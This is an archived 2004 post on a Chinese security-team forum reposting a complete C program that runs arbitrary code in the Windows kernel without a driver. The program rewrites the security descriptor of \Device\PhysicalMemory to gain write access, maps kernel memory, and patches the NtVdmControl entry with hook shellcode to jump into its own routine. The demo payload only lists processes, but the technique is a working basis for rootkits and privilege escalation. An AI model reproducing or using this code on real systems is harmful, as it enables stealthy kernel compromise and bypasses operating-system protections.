邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2004-12-23 12:41

[转载]无驱动执行Ring0代码

文章作者:zzzEVAzzz

[code]//************************************************************************
// Ring0Demo.c v1.0 by zzzEVAzzz
// 目的:演示无驱动执行Ring0代码。
// 原理:通过\Device\PhysicalMemory修改NtVdmControl入口,跳转到Ring0Code
//************************************************************************

#include <Windows.h>
#include <Ntsecapi.h>
#include <Aclapi.h>

#pragma comment (lib,"ntdll.lib")     // Copy From DDK
#pragma comment (lib,"Kernel32.lib")
#pragma comment (lib,"Advapi32.lib")


//------------------ 数据类型声明开始 --------------------//
typedef struct _SYSTEM_MODULE_INFORMATION {
   ULONG Reserved[2];
   PVOID Base;
   ULONG Size;
   ULONG Flags;
   USHORT Index;
   USHORT Unknown;
   USHORT LoadCount;
   USHORT ModuleNameOffset;
   CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
   ULONG Length;
   HANDLE RootDirectory;
   PUNICODE_STRING ObjectName;
   ULONG Attributes;
   PVOID SecurityDescriptor;
   PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef enum _SECTION_INHERIT {
   ViewShare = 1,
   ViewUnmap = 2
} SECTION_INHERIT;

typedef struct _MY_PROCESS_INFO {
   ULONG PID;
   ULONG KPEB;
   ULONG CR3;
   CHAR Name[16];
   ULONG Reserved;
} MY_PROCESS_INFO, *PMY_PROCESS_INFO;

typedef long NTSTATUS;
//------------------ 数据类型声明结束 --------------------//

//--------------------- 预定义开始 -----------------------//
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS          0x00000000
#define STATUS_UNSUCCESSFUL      0xC0000001
#define STATUS_NOT_IMPLEMENTED    0xC0000002
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_INVALID_PARAMETER   0xC000000D
#define STATUS_ACCESS_DENIED      0xC0000022
#define STATUS_BUFFER_TOO_SMALL    0xC0000023
#define OBJ_KERNEL_HANDLE        0x00000200
#define SystemModuleInformation    11

#define InitializeObjectAttributes( p, n, a, r, s ) { \   /* 注意,由于php标签过滤,以下6行缺少续行符\ */
   (p)->Length = sizeof( OBJECT_ATTRIBUTES );      
   (p)->RootDirectory = r;                  
   (p)->Attributes = a;                     
   (p)->ObjectName = n;                     
   (p)->SecurityDescriptor = s;               
   (p)->SecurityQualityOfService = NULL;         
   }
//--------------------- 预定义结束 -----------------------//

//------------------ Native API声明开始 ------------------//
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
   PUNICODE_STRING DestinationString,
   PCWSTR SourceString
   );

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
   ULONG SystemInformationClass,
   PVOID SystemInformation,
   ULONG SystemInformationLength,
   PULONG ReturnLength
   );

NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
   OUT PHANDLE SectionHandle,
   IN ACCESS_MASK DesiredAccess,
   IN POBJECT_ATTRIBUTES ObjectAttributes
   );

NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
   IN HANDLE SectionHandle,
   IN HANDLE ProcessHandle,
   IN OUT PVOID *BaseAddress,
   IN ULONG ZeroBits,
   IN ULONG CommitSize,
   IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
   IN OUT PULONG ViewSize,
   IN SECTION_INHERIT InheritDisposition,
   IN ULONG AllocationType,
   IN ULONG Protect
   );

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
   IN HANDLE ProcessHandle,
   IN PVOID BaseAddress
   );

NTSYSAPI
NTSTATUS
NTAPI
ZwClose(
   IN HANDLE Handle
   );

NTSYSAPI
NTSTATUS
NTAPI
NtVdmControl(
   IN ULONG ControlCode,
   IN PVOID ControlData
   );
//------------------ Native API声明结束 ------------------//

//------------------ 全局变量定义开始 --------------------//
NTSTATUS
(NTAPI *pfnNtVdmControl)(
   IN ULONG ControlCode,
   IN PVOID ControlData
   );

BOOLEAN
(NTAPI *pfnPsGetVersion)(
   PULONG MajorVersion OPTIONAL,
   PULONG MinorVersion OPTIONAL,
   PULONG BuildNumber OPTIONAL,
   PUNICODE_STRING CSDVersion OPTIONAL
   );

HANDLE
(NTAPI *pfnPsGetCurrentProcessId)(
   );

PVOID
(NTAPI *pfnMemcpy)(
   IN VOID UNALIGNED *Destination,
   IN CONST VOID UNALIGNED *Source,
   IN SIZE_T Length
   );

ULONG
(_cdecl *pfnDbgPrint)(
   IN PCHAR Format,
   ...
   );

ULONG *pPsInitialSystemProcess;
//------------------ 全局变量定义结束 --------------------//


// 获取指定模块的基址
PVOID GetModuleBase(PCSTR name)
{
   NTSTATUS status;
   PVOID pBuffer, pModule;
   ULONG nRetSize, i, n;
   PSYSTEM_MODULE_INFORMATION pmi;

   pBuffer = LocalAlloc(LPTR, 0x1000);
   if (NULL == pBuffer)
   {
      printf("LocalAlloc[0] Failed: %d\n", GetLastError());
      return NULL;
   }

   status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, 0x1000, &nRetSize);
   if (STATUS_INFO_LENGTH_MISMATCH == status)
   {
      // 缓冲区太小,重新分配
      LocalFree(pBuffer);
      pBuffer = LocalAlloc(LPTR, nRetSize);
      if (NULL == pBuffer)
      {
        printf("LocalAlloc[1] Failed: %d\n", GetLastError());
        return NULL;
      }
      status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, nRetSize, &nRetSize);
   }
   if (!NT_SUCCESS(status))
   {
      printf("ZwQuerySystemInformation Failed: %d\n", LsaNtStatusToWinError(status));
      LocalFree(pBuffer);
      return NULL;
   }

   pmi = (PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer + 4);
   n = *(ULONG*)pBuffer;
   pModule = NULL;

   // 搜索指定的模块名,获取基址
   for (i=0; i<n; i++)
   {
      if (!_stricmp(pmi->ImageName+pmi->ModuleNameOffset, name))
      {
        pModule = pmi->Base;
        break;
      }
      pmi++;
   }

   LocalFree(pBuffer);
   return pModule;
}


// 获取\Device\PhysicalMemory的可读写句柄
HANDLE OpenPhysicalMemory()
{
   DWORD dwRet;
   NTSTATUS status;
   UNICODE_STRING name;
   OBJECT_ATTRIBUTES oa;
   EXPLICIT_ACCESS ea;
   PSECURITY_DESCRIPTOR pSD;
   PACL pDacl = NULL;
   PACL pNewDacl = NULL;
   HANDLE hSection = NULL;
   HANDLE hSectionRet = NULL;

   RtlInitUnicodeString(&name, L"\\Device\\PhysicalMemory");
   InitializeObjectAttributes(&oa, &name, OBJ_KERNEL_HANDLE, NULL, NULL);

   // 以可读写Section权限打开PhysicalMemory
   status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);

   if (NT_SUCCESS(status)) goto FreeAndExit; // 打开成功,直接返回

   if (status != STATUS_ACCESS_DENIED)
   {
      // 错误,但非权限不足,打开失败
      printf("ZwOpenSection[0] Failed: %d\n", LsaNtStatusToWinError(status));
      hSectionRet = NULL;
      goto FreeAndExit;
   }
  // 以可读写ACL权限打开PhysicalMemory
   status = ZwOpenSection(&hSection, READ_CONTROL | WRITE_DAC, &oa);
   if (!NT_SUCCESS(status))
   {
      printf("ZwOpenSection[1] Failed: %d\n", LsaNtStatusToWinError(status));
      goto FreeAndExit;
   }

   // 获取PhysicalMemory的DACL
   dwRet = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
      NULL, NULL, &pDacl, NULL, &pSD);
   if (dwRet != ERROR_SUCCESS)
   {
      printf("GetSecurityInfo Failed: %d\n", dwRet);
      goto FreeAndExit;
   }

   // 创建一个ACE,允许当前用户读写PhysicalMemory
   ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
   ea.grfAccessPermissions = SECTION_MAP_READ | SECTION_MAP_WRITE;
   ea.grfAccessMode = GRANT_ACCESS;
   ea.grfInheritance = NO_INHERITANCE;
   ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
   ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
   ea.Trustee.ptstrName = "CURRENT_USER";

   // 将新的ACE加入DACL
   dwRet = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);
   if (dwRet != ERROR_SUCCESS)
   {
      printf("SetEntriesInAcl Failed: %d\n", dwRet);
      goto FreeAndExit;
   }

   // 更新PhysicalMemory的DACL
   dwRet = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
      NULL, NULL, pNewDacl, NULL);
   if (dwRet != ERROR_SUCCESS)
   {
      printf("SetSecurityInfo Failed: %d\n", dwRet);
      goto FreeAndExit;
   }

   // 再次以可读写权限打开PhysicalMemory
   status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
   if (!NT_SUCCESS(status))
   {
      printf("ZwOpenSection[2] Failed: %d\n", LsaNtStatusToWinError(status));
      goto FreeAndExit;
   }

FreeAndExit:
   if (pSD) LocalFree(pSD);
   if (pNewDacl) LocalFree(pNewDacl);
   if (hSection) ZwClose(hSection);
   return hSectionRet;
}


// 将物理内存映射到当前进程的用户空间
PVOID MapPhysicalMemory(HANDLE hSection, // 物理内存的Section句柄
                ULONG Offset,   // 映射起始偏移量,相对于物理内存的0地址
                ULONG CommitSize // 映射范围
                )
{
   NTSTATUS status;
   PVOID BaseAddress = NULL;
   LARGE_INTEGER PhysicalAddress = {Offset, 0};
   SIZE_T ViewSize = CommitSize;

   status = ZwMapViewOfSection(hSection, (HANDLE)-1, &BaseAddress, 0,
      CommitSize, &PhysicalAddress, &ViewSize, ViewShare, 0, PAGE_READWRITE);
   if (!NT_SUCCESS(status))
   {
      printf("ZwMapViewOfSection Failed: %d\n", LsaNtStatusToWinError(status));
      return NULL;
   }

   return BaseAddress;
}


// 在Ring0执行的代码。这里演示如何获取每个进程的PID、KPEB、CR3和ImageName
NTSTATUS Ring0Code(ULONG size,    // 缓冲区大小
             PULONG buffer)  // 缓冲区指针,指向调用者分配的缓存
                        // 参数个数与NtVdmControl一致,以平衡堆栈
{
   ULONG BuildNumber;
   ULONG ListOffset;
   ULONG PIDOffset;
   ULONG NameOffset;
   PLIST_ENTRY ListHead, ListPtr;
   PMY_PROCESS_INFO mypi;

   pfnDbgPrint("Run in Ring0!\n"); // 输出调试信息

   pfnPsGetVersion(NULL, NULL, &BuildNumber, NULL);
   pfnDbgPrint("BuildNumber = %d\n", BuildNumber);

   switch (BuildNumber)   // 各版本OS的KPEB结构不同
   {
      case 2195:  // Win2000
        ListOffset = 0xa0;
        PIDOffset = 0x9c;
        NameOffset = 0x1fc;
        break;
      case 2600:  // WinXP
        ListOffset = 0x88;
        PIDOffset = 0x84;
        NameOffset = 0x174;
        break;
      case 3790:  // Win2003
        ListOffset = 0x88;
        PIDOffset = 0x84;
        NameOffset = 0x154;
        break;
      default:
        return STATUS_NOT_IMPLEMENTED;
   }

   if (size<4) return STATUS_BUFFER_TOO_SMALL;
   size -= 4;

   if (NULL == buffer) return STATUS_INVALID_PARAMETER;
   *buffer = 0L;  // 缓存的第一个ULONG用于保存进程总数

   mypi = (PMY_PROCESS_INFO)(buffer + 1);

   // 历遍ActiveProcessLinks
   ListHead = ListPtr = (PLIST_ENTRY)(*pPsInitialSystemProcess + ListOffset);
   while (ListPtr->Flink != ListHead)
   {
      if (size < sizeof(MY_PROCESS_INFO)) return STATUS_BUFFER_TOO_SMALL;

      mypi->KPEB = (ULONG)ListPtr - ListOffset;
      mypi->PID = *(ULONG*)(mypi->KPEB + PIDOffset);
      mypi->CR3 = *(ULONG*)(mypi->KPEB + 0x18);
      pfnMemcpy(mypi->Name, (PVOID)(mypi->KPEB + NameOffset), 16);

      (*buffer)++;
      mypi++;
      size -= sizeof(MY_PROCESS_INFO);
      ListPtr = ListPtr->Flink;
   }

   return STATUS_SUCCESS;
}


// 显示进程信息
void ListProcessInfo(PULONG buffer)
{
   ULONG i, n = *buffer;
   PMY_PROCESS_INFO mypi = (PMY_PROCESS_INFO)(buffer + 1);

   printf(" PID  KPEB    CR3     Name\n"
        " ----  --------  --------  ----\n");
   for (i=0; i<n; i++)
   {
      printf(" %-4d  %08x  %08x  %s\n",
        mypi->PID, mypi->KPEB, mypi->CR3, mypi->Name);
      mypi++;
   }
}


void main()
{
   char *Kernel = "ntoskrnl.exe";
   PVOID pKernel = NULL;
   HMODULE hKernel = NULL;
   HANDLE hSection = NULL;
   char *mapping = NULL;
   PVOID buffer = NULL;
   ULONG offset;
   NTSTATUS status;
   char OrigCode[24], HookCode[24] =
      "\xE8\xFF\xFF\xFF\xFF"  // call 0xffffffff    ;nt!PsGetCurrentProcessId
      "\x3D\xEE\xEE\xEE\xEE"  // cmp eax, 0xeeeeeeee  ;自己的PID
      "\x75\x05"          // jne $Content$5
      "\xE9\xDD\xDD\xDD\xDD"  // jmp 0xdddddddd     ;Ring0Code
      "\xB8\x01\x00\x00\xC0"  // mov eax, 0xc0000001  ;STATUS_UNSUCCESSFUL
      "\xC3";            // ret

   printf("\n -=< Run Ring0 Code Without Driver Demo >=-\n\n");

   // 获取系统核心模块ntoskrnl.exe的基址
   pKernel = GetModuleBase(Kernel);
   if (NULL == pKernel) return;
   if ((ULONG)pKernel < 0x80000000 || (ULONG)pKernel > 0x9FFFFFFF)
   {
      // 模块基址超出直接内存映射范围
      printf("Error: Kernel module base (%08x) is out of range.\n", pKernel);
      return;
   }

   // 在用户态加载一份ntoskrnl.exe
   hKernel = LoadLibrary(Kernel);
   if (NULL == hKernel)
   {
      printf("LoadLibrary Failed: %d\n", GetLastError());
      return;
   }

   // 获取内核例程/变量在用户态的相对位置
   if ((pfnMemcpy = (PVOID)GetProcAddress(hKernel, "memcpy")) &&
      (pfnDbgPrint = (PVOID)GetProcAddress(hKernel, "DbgPrint")) &&
      (pfnNtVdmControl = (PVOID)GetProcAddress(hKernel, "NtVdmControl")) &&
      (pfnPsGetVersion = (PVOID)GetProcAddress(hKernel, "PsGetVersion")) &&
      (pfnPsGetCurrentProcessId = (PVOID)GetProcAddress(hKernel, "PsGetCurrentProcessId")) &&
      (pPsInitialSystemProcess = (PVOID)GetProcAddress(hKernel, "PsInitialSystemProcess")));
   else
   {
      printf("GetProcAddress Failed: %d\n", GetLastError());
      goto FreeAndExit;
   }

   // 计算内核例程/变量的实际地址
   offset = (ULONG)pKernel - (ULONG)hKernel;
   (ULONG)pfnMemcpy += offset;
   (ULONG)pfnDbgPrint += offset;
   (ULONG)pfnNtVdmControl += offset;
   (ULONG)pfnPsGetVersion += offset;
   (ULONG)pfnPsGetCurrentProcessId += offset;
   (ULONG)pPsInitialSystemProcess += offset;

   // 设置HookCode
   *(ULONG*)(HookCode+1) = (ULONG)pfnPsGetCurrentProcessId - (ULONG)pfnNtVdmControl - 5;
   *(ULONG*)(HookCode+6) = GetCurrentProcessId();
   *(ULONG*)(HookCode+13) = (ULONG)Ring0Code - (ULONG)pfnNtVdmControl - 17;

   // 打开物理内存Section
   hSection = OpenPhysicalMemory();
   if (NULL == hSection) goto FreeAndExit;

   // 映射NtVdmControl入口附近的内存
   offset = (ULONG)pfnNtVdmControl & 0x1FFFF000;  // 转换到物理内存页地址
   mapping = MapPhysicalMemory(hSection, offset, 0x2000);
   if (NULL == mapping) goto FreeAndExit;

   // 保存NtVdmControl入口代码
   offset = (ULONG)pfnNtVdmControl & 0x00000FFF;  // 页内偏移
   memcpy(OrigCode, mapping+offset, 24);

   buffer = LocalAlloc(LPTR, 0x1000);
   if (NULL == buffer)
   {
      printf("LocalAlloc Failed: %d\n", GetLastError());
      goto FreeAndExit;
   }

   memcpy(mapping+offset, HookCode, 24);  // 挂钩NtVdmControl
   status = NtVdmControl(0x1000, buffer);  // 调用NtVdmControl,进入Ring0
   memcpy(mapping+offset, OrigCode, 24);  // 还原NtVdmControl入口

   if (!NT_SUCCESS(status))
   {
      printf("NtVdmControl Failed: %d\n", LsaNtStatusToWinError(status));
      goto FreeAndExit;
   }

   ListProcessInfo(buffer);

FreeAndExit:
   if (buffer != NULL) LocalFree(buffer);
   if (mapping != NULL) ZwUnmapViewOfSection(hSection, mapping);
   if (hSection != NULL) ZwClose(hSection);
   if (hKernel != NULL) FreeLibrary(hKernel);
}
[/code]

页: [1]
© 1999-2008 EvilOctal Security Team